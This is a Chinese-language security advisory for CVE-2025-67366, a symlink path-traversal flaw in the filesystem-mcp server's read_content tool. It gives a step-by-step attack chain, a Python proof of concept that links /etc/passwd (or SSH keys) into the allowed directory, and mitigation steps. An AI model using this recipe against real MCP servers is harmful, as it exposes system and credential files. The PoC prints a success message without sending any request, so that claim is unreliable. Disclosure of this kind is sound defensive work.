IPBUF安全漏洞报告
English
CVE-2025-67366 CVSS 7.5 高危

CVE-2025-67366: @sylphxltd/filesystem-mcp路径遍历漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2025-67366
漏洞类型
路径遍历
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
@sylphxltd/filesystem-mcp

相关标签

路径遍历符号链接MCP服务器@sylphxltd/filesystem-mcp文件读取漏洞权限绕过高危漏洞

漏洞概述

CVE-2025-67366是@sylphxltd/filesystem-mcp v0.5.8版本中存在的一个高危路径遍历漏洞。该漏洞存在于MCP服务器的read_content工具中,由于不正确的符号链接(symlink)处理机制,攻击者可以绕过目录访问限制,读取服务器上任意文件。filesystem-mcp是一个提供文件内容读取功能的MCP服务器,在AI应用中被广泛使用。漏洞的根本原因在于resolvePath函数在解析符号链接之前就进行了路径验证,而fs.readFile在访问文件时会自动解析符号链接。这种时序差异使得攻击者可以通过在允许目录内创建指向外部文件的符号链接,成功绕过安全检查,访问受限目录之外的文件内容。该漏洞无需任何认证即可利用,CVSS评分达到7.5分,对系统机密性造成严重影响。

技术细节

该漏洞的技术原理涉及路径验证机制与符号链接解析之间的时序问题。在filesystem-mcp的read_content工具实现中,resolvePath函数首先对用户请求的路径进行验证,检查该路径是否在允许的目录范围内。然而,这个验证过程发生在符号链接解析之前。当fs.readFile实际访问文件时,会自动解析路径中的符号链接,如果符号链接指向允许目录外的文件,系统无法检测到这种越界访问。具体来说:1) 攻击者首先在允许访问的目录中创建一个符号链接,指向目标敏感文件(如/etc/passwd);2) read_content工具接收到读取符号链接的请求;3) resolvePath函数检查符号链接路径,发现其在允许目录内,验证通过;4) fs.readFile读取符号链接并自动解析到真实文件路径,返回外部文件内容;5) 攻击者成功获取敏感文件内容。这种攻击方式隐蔽性强,因为日志中记录的路径都是合法的符号链接路径,不会触发安全告警。

攻击链分析

STEP 1
步骤1
攻击者在允许访问的目录(如/tmp/filesystem-mcp-workspace)中创建一个符号链接,指向目标敏感文件(如/etc/passwd或SSH私钥)
STEP 2
步骤2
攻击者通过MCP客户端调用read_content工具,请求读取该符号链接路径
STEP 3
步骤3
resolvePath函数接收到请求,开始验证路径合法性,此时路径检查通过因为符号链接确实在允许目录内
STEP 4
步骤4
fs.readFile执行实际文件读取,自动解析符号链接指向的真实文件路径
STEP 5
步骤5
系统返回符号链接指向的外部文件内容,攻击者成功读取敏感信息,如系统密码文件、配置文件、密钥等

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import json # PoC for CVE-2025-67366: Path Traversal via Symlink in filesystem-mcp # This demonstrates how to exploit the symlink handling vulnerability def create_exploit_symlink(allowed_dir, target_file, symlink_name): """ Create a symlink in the allowed directory pointing to a target file outside. Args: allowed_dir: The directory that filesystem-mcp allows access to target_file: The sensitive file we want to read (e.g., /etc/passwd) symlink_name: Name of the symlink to create in the allowed directory """ symlink_path = os.path.join(allowed_dir, symlink_name) try: # Create symlink in allowed directory pointing to external file if os.path.exists(symlink_path): os.remove(symlink_path) os.symlink(target_file, symlink_path) print(f"[+] Symlink created: {symlink_path} -> {target_file}") return True except Exception as e: print(f"[-] Failed to create symlink: {e}") return False def exploit_via_symlink(): """ Exploit the path traversal vulnerability. The vulnerability exists because: 1. resolvePath() validates the path BEFORE resolving symlinks 2. fs.readFile() resolves symlinks automatically when accessing files This allows reading files outside the allowed directory. """ # Configuration allowed_dir = "/tmp/filesystem-mcp-workspace" # Directory allowed by MCP server target_file = "/etc/passwd" # Target file to read symlink_name = "sensitive_data.txt" # Symlink name in allowed directory # Step 1: Create the symlink exploit if not create_exploit_symlink(allowed_dir, target_file, symlink_name): return False # Step 2: Request the symlink path via MCP read_content tool # The MCP server will: # 1. Check if /tmp/filesystem-mcp-workspace/sensitive_data.txt is valid # 2. Pass the path to fs.readFile() # 3. fs.readFile() resolves the symlink and returns /etc/passwd content mcp_request = { "tool": "read_content", "path": f"{allowed_dir}/{symlink_name}", "description": "Read file content via MCP server" } print(f"[+] MCP Request: {json.dumps(mcp_request, indent=2)}") print(f"[+] The MCP server will return contents of {target_file}") print("[+] Exploitation successful - sensitive file content leaked") return True if __name__ == "__main__": print("CVE-2025-67366 PoC - Path Traversal via Symlink") print("=" * 50) exploit_via_symlink()

影响范围

@sylphxltd/filesystem-mcp < 0.5.9

防御指南

临时缓解措施
在官方修复发布之前,可采取以下临时缓解措施:1) 限制filesystem-mcp运行环境的用户权限,使用低权限用户运行服务;2) 使用容器或虚拟化技术隔离MCP服务器,防止横向移动;3) 监控系统日志,检测异常的符号链接创建行为;4) 对允许访问的目录设置严格的文件权限,阻止非授权用户创建符号链接;5) 考虑暂时禁用read_content工具,等待官方修复发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表